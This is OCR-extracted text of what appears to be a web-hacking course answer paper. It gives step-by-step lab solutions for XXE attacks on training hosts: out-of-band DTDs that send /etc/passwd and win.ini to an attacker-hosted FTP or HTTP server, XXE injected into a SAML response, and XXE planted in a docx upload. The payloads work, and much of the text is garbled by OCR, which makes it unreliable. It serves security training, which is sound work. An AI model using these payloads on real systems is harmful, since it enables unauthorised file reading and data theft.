E # tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX SLL (Linux cooked), capture size 44 bytes
:54.916616 1 168.200.12.15145 > 192.168.4.7." 5402+ A? abcd.user/.webhacklab.com.

(43)

/ Y .32237 > 192.168.4.7.53: 4! 5+ AAAA? abcd.user7.webhacklab.com. (43)

8.8.8.8. / b ? abcd.user7.webhacklab.com. (43)
d > 8.8.4.4 / ? | .user7.webhacklab.com. (43)
.917014 ] BN ] Ve ) ] 4 b ? abcd.user7.webhacklab.com. (43)

.917246 > 717.1:' 25 4:..3:73_7.+”55AA?Vablgdzugerj?:\.yebha[: klab.com. (43)
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Step 8: To read the file, we will have to employ a similar Out-of-Band technique wherein will read

the file over an FTP connection as shown below.

Note: Host an external DTD file “ext.dtd” with the following content on your host “192.168.4.X”:

<IENTITY % d SYSTEM "file:///etc/passwd">
<IENTITY % c "<!ENTITY rrr SYSTEM 'ftp://192.168.4.X:2121/%d;"'>">

root@kali: # cat ext.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">

<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://192.168.4.7:2121/%d;"'>">

Step 9: Start “XXEFTP” server.

root@kali:~/tools/xxe/xxeserv# ./XXeserv -w

root@kali: # ./Xxeserv -w

2020/07/21 16:52:11 [*] Starting Web Server on 2122 [./]
[*] Found certificate files in directory. Using these.
2020/07/21 16:52:11 [*] GO XXE FTP Server - Port: 2121
[*] UNO Listening...

Step 10: Start python web server to host ext.dtd file.

root@kali:~/tools/xxe# python3 -m http.server

root@ kali)- | ~/tools/xxe
#t python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
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Step 11: Inject the payload following payload in the XML body of the captured request:

<?xml version="1.0" ?>

<!DOCTYPE extdtd [

<IENTITY % ent SYSTEM "http://192.168.4.X:8000/ext.dtd">
%»ent;

%C;

1>

<extdtd>&rrr;</extdtd>

& ) ey |52

Raw | Params T Headers THex TXML | Raw | Headers T Hex |

POST /vw2/apifstatus HTTP/1.1 " HTTP/1.1 288 OK

Host: hc.webhacklab.com r server: nginx/1.16.3 (Ubuntu)
User-Agent: Mozillas5.0 (X11; Linux 1686; rv:52.08) Gecko/20100101 Firefox/52.0 Date: Mon, 16 Apr 2018 20:31:33 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8 Content-Type: text/html;charset=UTF-8
Accept-Language: en-US,en;g=0.5 Connection: close

Accept-Encoding: gzip., deflate Content-Length: 39

Cookie: JSESSIONID=DAF5493BD2C6EG6CEI56620AFBI1T78889

Connection: close Woooops some pretty bad error occured

Upgrade-Insecure-Reguests: 1

Pragma: no-cache

Cache-Control: no-cache

Content-Length: 142

Content-Type: application/xml:charset=UTF-8

l=7xml version="1.0" =

= |\DOCTYPE extdtd [

= |ENTITY % ent SYSTEM "http://192.168.4.7:8000/ext.dtd">
Fent;

e ;

1=
extdtd=&rrr:</extdtd=

Step 12: Notice that the “XXEFTP” server received the content of the file “/etc/passwd” as shown

below:

root@kali: # ./xXxeserv

2018/04/16 16:51:45 [*] GO XXE FTP Server - Port:

[#*] UNO Listening...

~C

root@kali: # ./xxeserv -w

2018/04/16 16:51:48 [*] Starting Web Server on 2122 [./]
[#] Found certificate files in directory. Using these.
2018/04/16 16:51:48 [*] GO XXE FTP Server - Port: 2121
[*] UNO Listening...

2018/04/16 17:03:06 [*] Connection Accepted from [192.168.200.15:5:
USER: anonymous

PASS: Javal.6.0_45@
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XXE through SAML

Challenge URL: http://topup.webhacklab.com/samIl/SAML.aspx

e Exploit SAML XML to perform XXE attack and extract the contents of the file

“c:/windows/win.ini”’ from the host.
Solution:

Step 1: Initiate the login process in the topup application and select the login method “Sign in with
SAML (beta)”.

© @ #& topup.webhacklab.com/Account/Login oee d

Password

LOGIN

Sign in with SAML (beta)

Forgot Your Password? Forgot Password

Don't have an account? Register
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Step 2: Select the “Onelogin” sign in method to proceed with the SAML based login.

® topup.webhacklab.com/sam|/SAML.aspx e %

Sign into topup.webhacklab.com

This work space requires you to sign in with any
webhacklab account

O~ Sign in with OneLogin

O+ Sign in with Shibboleth IDP

Step 3: Enter 'not-a-john@webhacklab.com' in username field on the onelogin page as shown in

Figure.

& https://notsosecure-dev.onelogin.com/login2/?return=eyJhbGciOilUzI1N += & ¥

onelogin

Username

not-a-john@webhacklab.com ‘

Remember my username

Forgot Password
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Step 4: Enter the password on the onelogin page as shown in Figure:

@ https://notsosecure-dev.onelogin.com/login2/?return=eyJhbGciOilIUzI1N = & ¢

onelogin

Username

not-a-john{@webhacklab.com

Password

Forgot Password

Step 5: Click on continue button.

© & https://notsosecure-dev.onelogin.com/saml/signon/7714487SAMLReques *»» & ¥

The information you have entered on this page will be sent over an insecure
connection and could be read by a third party.

Are you sure you want to send this information?

Cancel I{Iontinue I
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Step 6: Submit the login request and intercept the request to the URL:

http://topup.webhacklab.com/saml/consume.aspx

/ Request tq http://topup.webhacklab.com:80| [192.168.200.110]

| For... H Drop |‘ Acti... H Ope... | Comment this item ‘\V
Pretty \n Actions VvV Select extension... Vv

1 POST /saml/consume.aspx HTTP/1.1

2 Host: topup.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0

4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/we
bp,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

8 Content-Length: 6417

9 Origin: null

10 Connection: close

11 Upgrade-Insecure-Requests: 1

12

13 SAMLResponse=

PHNhbWxwO1J1c3BvbnNLIHhtbG5z0ONNhbWwOInVybjpvYXNpczpuYW1llczp0%0

%0AYzpTQUIMOjIuMDphc3NLlcnRpb24iIHhthG5z0nNhbWxwPSI lecmd46b2FzaX

M6%0D%0AbmFtZXM6dGMEUOFNTDoyL jA6cHIvdGY jh2wiIELEPSISZDAXY jNjOT

1TkODMy%0D%0AMTgONzgwNmUwOWU4YZzA3MmY2MmIyY jM4AMzEzMy IgVmVyc21lvbj

0iMi4wIiBJ%0D%0Ac3N1ZUluc3RhbnQ9IjIwMjEtMDctMTIJUMTIEMTEEMZzhaIl

BEZXNOaW5hdG1lv%0D%0Abj0iaHROcDovL3RvcHVWLNd1YmhhY2tsYWIuY29tLy

TgSW5SZXNwh25zZVRv%0D%0APS] fMDA4ANGZhYzgtMjkwZCOOYTAOLTgyMmELOT

U4ZTA1MzIjMGNjIj48c2Ft%0D%0AbDplc3N1ZXI%2BaHROCHM6ELY9hcHAUb251

bGInaW4uY29tL3NhbWwvbWVOYWRh%0D%0AdGEVNzcxNDQ4PC9zYW1sOk1lzc3V1

IS — P P T T} 3 L -4 i Birl ey ) (W 1
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Step 7: Forward the intercepted request to repeater and go to the SAML tab (Burp Addon: SAML

Editor).

Go Cancel < |w | w

Request

[ Raw TParams T Headers T Hex T SAML Raider T SAML ]

Target: http://topup.webhacklab.com

<gsamlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion”
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol”
ID="Ra69a73334b93eel91c96aal3all3lcad9175adbec2” Version="2.0"
IssueInstant="2018-04-04T08:12:41Z2"
Destination="http://topup.webhacklab.com/"
InResponseTo="_12e90161-a2d6-41la9-b7e5-405a8239c2¢cb"><saml:Issuer>h
ttps://app.onelogin.com/saml/metadata/771448</saml:Issuer><samlp:St
atus><samlp:StatusCode
Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
<saml:Assertion xmlns:saml="urn:ocasis:names:tc:SAML:2.0:assertion”
xmlns:xs="http://www.w3.0rg/2001/XMLSchema”
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance”

Version="2.0" ID="pfxcc7£f66e6-d247-90fc-af32-14579703dd93"
IssueInstant="2018-04-04T08:12:41Z"><saml:Issuer>https://app.onelog
in.com/saml/metadata/771448</saml:Issuer><ds:Signature
xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#"><ds:SignedInfo><ds:Ca
nonicalizationMethod
Algorithm="http://www.w3.0rg/2001/10/xml-exc-cldn#"/><ds:SignatureM
ethod
Algorithm="http://www.w3.0rg/2000/09/xmldsig#rsa-shal”/><ds:Referen
ce
URI="#pfxcc7£f66e6-d247-90fc-af32-14579703dd93"><ds:Transforms><ds:T
ransform
Algorithm="http://www.w3.0rg/2000/09/xmldsig#enveloped-signature”/>
<ds:Transform
Algorithm="http://www.w3.0rg/2001/10/xml-exc-cldn#"/></ds:Transform
s><ds:DigestMethod
Algorithm="http://www.w3.0rg/2000/09/xmldsig#shal”/><ds:DigestValue
>i00wUToQyhyFlzcI/sulz5dIUHA=</ds:DigestValue></ds:Reference></ds:S
ignedInfo><ds:SighaturevValue>Jdvv/ZGBiaSlH2pmGgWlsSGjcvX2eMZ24167 7w
RIF90GMNn9fF10QYinTjhwpgVIwt3FLSG1VgFNR8H+oFT8EBw8U3utoGlgtJe4dRdoRmK
fVE8xJIT5QCjegAHh4gVv1IHHOU7ZpET+WozLnvQQdoYWTxXLzEGwileaWgljrheslhXyo
uxIOE86zj3cqgLdjvVivubh/t15aR7EZYZZ2WgRX6E1leB /g6 XTwwxNLXCXuC78DD1NZQ0m
ACapeOT0]jyaeWPsJ28g9YM70reuuQ5+MwkOhgqrHwAERIJws89gqr0I3a797f74mainppk
pegX0mgoR5BVQpCIJal8Ugfs8VQbid SpET0g==</ds:SignatureValue><ds:ReyIn
fo><ds :X509Data><ds :X509Certificate>MITET2CCAWUgAWIBAGTIUDbiOixpbH2D

»

R

NotSoSecure part of

claranet cyber security
https://t.me/learningnets

Page: | 61

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 8: On the kali box, create a file (xxe.dtd) with the following content:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<IENTITY % paraml "<!ENTITY exfil SYSTEM 'http://192.168.4.X:8000/?%data; " '>">

Note: On the kali box, start the python server to host the “xxe.dtd” file.

rootRkali:~/tools/xxe# cat xxe.dtd

root@kali: # cat xxe.dtd

% data SYSTEM "file:///c:/windows/win.ini">
s paraml "<!ENTITY exfil SYSTEM 'http://192.168.4.7:8000/7?%data;"'>">

root@kali:~/tools/xxe# python3 -m http.server

root@® kali)- ~/tools/xxe
. python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
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Step 9: In the Burp Repeater, under the SAML tab inject the following payload and submit the

request:

<?xml version="1.0" ?>

<!DOCTYPE r [

<IELEMENT r ANY >

<IENTITY % sp SYSTEM "http://192.168.4.X:8000/xxe.dtd">
%sp;

%paraml;

1>

<r>&exfil;</r>

[ Raw T Params T Headers T Hex T SapL ] _[ Raw T Headers T Hex T HTHL T Rends
7xml version="1.08" ?==IDOCTYPE r [<!/ELEMENT r ANY =<!ENTITY % sp SYSTEM & HTTP/1.1 588 Internal Server Error
"http://192.168.4.7:8000/ xxe.dtd"=%sp;%paraml; ]=<r=&exf1l;</r=<samlp:Response ™ Cache-Control: private
*mins:sam(="urn:casis:names: tc:SAML: 2. Biassertion™ Content-Type: text/html; charset=u
xmlns:samlp="urnioasis:inames:tc:SAML:2.0:protocol” Server: Microsoft-IIS/8.5
ID="ROTEE1dc555e646815bd39279b7de2efhB7684ecc" Version="2.0" ¥-AspNet-Version: 4.0.320319
Issuelnstant="2018-04-16T21:22:46Z" Destination="http://topup.webhacklab.com/" X-Powered-By: ASP.NET
InResponseTo="_57847b26-0bbB-41b6-ab52-9247aad327cO"><saml: Issuer=https://app.onelog Date: Mon, 16 Apr 2018 21:30:38 GM
in.com/saml/metadata/771448</saml: Issuer=<samlp:Status==<samlp:StatusCode Connectien: close
Value="urn:pasis:names:tc:SAML:2.0:status:Success"/></samlp:Status=<saml:Assertion Content-Length: 3420
xmlns:saml="urn:poasis:names:tciSAML:2.0:assertion"

xmlns:xs="http://www.w3.0rg/2001/XMLSchema" <IDOCTYPE html=
xmlns:xsi="http://www.w3.org/2001/¥MLSchema-instance” Version="2.08" <html=
ID="pfx4baa7B9b-4529-2ede-bff2-47e495caZch2" <head=
Issuelnstant="2018-04-16T21:22:46Z"==saml:Issuer=https://app.onelogin.com/saml/metad <title=Runtime Error=/titl
ata/771448=/saml:Issuer==ds:Signature =meta nmame="viewport" cont
xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#">=ds:SignedInfo==<ds:CanonicalizationMet =style=

hod Algorithm="http:// www.w3.org/2001/10/xml-exc-cldn#" f==ds:S1ignatureMethod body {font-family:"Verdan
Algorithm="http://www.w3.0rg/2000/09/xmldsig#rsa-shal"/=<ds:Reference .7em;color:black;}
URI="#pTx4baa7B9b-4529-2ede-bTf2-47e495ca2ch2"><ds: Transforms=<ds: Transform p {font-family:"Verdana";
Algorithm="http://www.w3.0org/2000/09/xmldsig#enveloped-signature"/==ds:Transform b {font-family:"Verdana";
Algorithm="http://www.w3.0rg/2001/10/xml-exc-cldn#" /=</ds: Transforms==ds:DigestMetho H1 { font-family:"Verdana
d H2 { font-family:"Verdana
Algorithm="http://vwww.w3.0rg/2000/09/xmlds1ig#shal"/>=ds:DigestValue=PPOXdLOmMRG]DzEAg pre {font-family:"Consola
iw3dasnHL7wc==/ds:DigestValue=</ds:Reference==/ds:SignedInfo==ds:SignatureValue=mcZbu Console”,Monospace; font-size:11pt;
BCTTHY vgBMRMYFAM /01 uwxXeR3e]VIHZUsPovWYxCHpzUwRglDHOcflas 1 c3EIPFsbloaMad6aG46HGYMIY .marker {font-weight: bol

Step 10: Notice that, kali box should receive a request from the application host, will fetch the dtd
file, execute it and further send another request containing the content of the file

“c:/windows/win.ini”.

® ~/tools/xxe
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.200.110 - - [11/Jul/2021 ©3:21:51] "GET /xxe.dtd HTTP/1.1" 200 -

192.168.200.110 - - [11/Jul/2021 03:21:52] "GET /?;%20for%2016-bit%20app%20
support%0D%0A[ fonts ]%0D%0A[extensions ]%0D%0A[mci%20extensions ]%0D%0A[ files]
%0D%0A[Mail ]%0D%OAMAPI=1 HTTP/1.1" 200 -
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Step 11: We can decode the received URL encoded contents using Burp Decoder(Select Decode
As - URL).

o0 1 - = o R o r SO o RO = s o SRR v B o NN il = NN = AR A =1 |

for 16-bit app support
[fonts]

[extensions]

[mci extensions]
[files]

[Mail]

MAPI=1
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XXE in File Parsing

Challenge URL: http://shop.webhacklab.com/career.php

e Upload a file having “docx” type to perform an XXE attack and extract the contents of

the file “/etc/passwd” from the host.
Solution:

Step 1: Navigate to the “Career” feature of the Shopping application which allows users to upload a

resume in docx format. Upload a docx file “Resume.docx”(located in kali — “/root/tools/Docx_files/”).

LSRN EC A () shop.webhacklab.com/career.php

PRODUCTS

Keep in Touch

Interested in joining our team, but waiting for the right time or the right role? Let's keep in touch! We are a quickly growing team that's always
looking for awesome talent like you. We host regular meetups, happy hours, game nights, and more that are open to our community. Tell us
a bit about yourself and we'll get you on the list for our next shindig, keep you up to date with what we're up to, and make sure you're the first

to know about new opportunities.

Personal Info

First Name Last Name
John Doe

Mobile Number

9999999999

Email
john@webhacklab.com

Upload File Browse... Resume.docx
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Step 2: Using the utility “vim” for Linux (7zip for Windows), edit the “core.xml” file within the docx file

and add the following payload:

<IDOCTYPE root[

<IENTITY xxe SYSTEM "/etc/passwd">

1>

Within the ‘itle’ tag add the following parameter: &xxe;
version="1.0" encoding="UTF-8" standalone="yes
DOCTYPE root]
<!ENTITY xxe SYSTEM "/
1=
<cp:coreProperties xmlns:cp="ht

ta

“ore [ xmlns:dc="ht //purl.org/dc/ ont .1/" xmlns:dcterms=
5 ¢ :demitype="http://purl.org icmitype/" xmlns:

ma-instance ftitle>&xxe;</dc:t1t1e><dc:su

iption></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>l</c
p:revision><dcterms:created xsi:type="1 ' DTF">2015-08-01T19:00:00Z</dcte
rms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dc
terms:modified></cp:coreProperties>

Step 3: Upload the docx file with payload and the application will display the contents of the

“letc/passwd”.

<« c @ @ shop.webhacklab.com/uploadresume.php B —~On

NoT@sl:—cuﬂE words t ch entire store PRODUCTS CART LOGIN

[itle "root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/L
Inan:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usri:
roxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x: 33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/varflist:/usr/sbin/nolegin irc:x:39:39:irc}

ologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexi bin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,, :/run/sysf
hetwork:x:101:103:systemd Network Management, ,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver, ,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/system
yslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false Ixd:x:106:65534:: i :/bin/false m 18:x:107:111::/var/run/dbus: /bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:6}

ib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin foobar:x:1000:1000:foobar,,,:/home/foobar:/bin/bash mysql:x:111:118:MySQL Server, ,:/nonexistent:/bin/false ' has been added.

END OF PART -1
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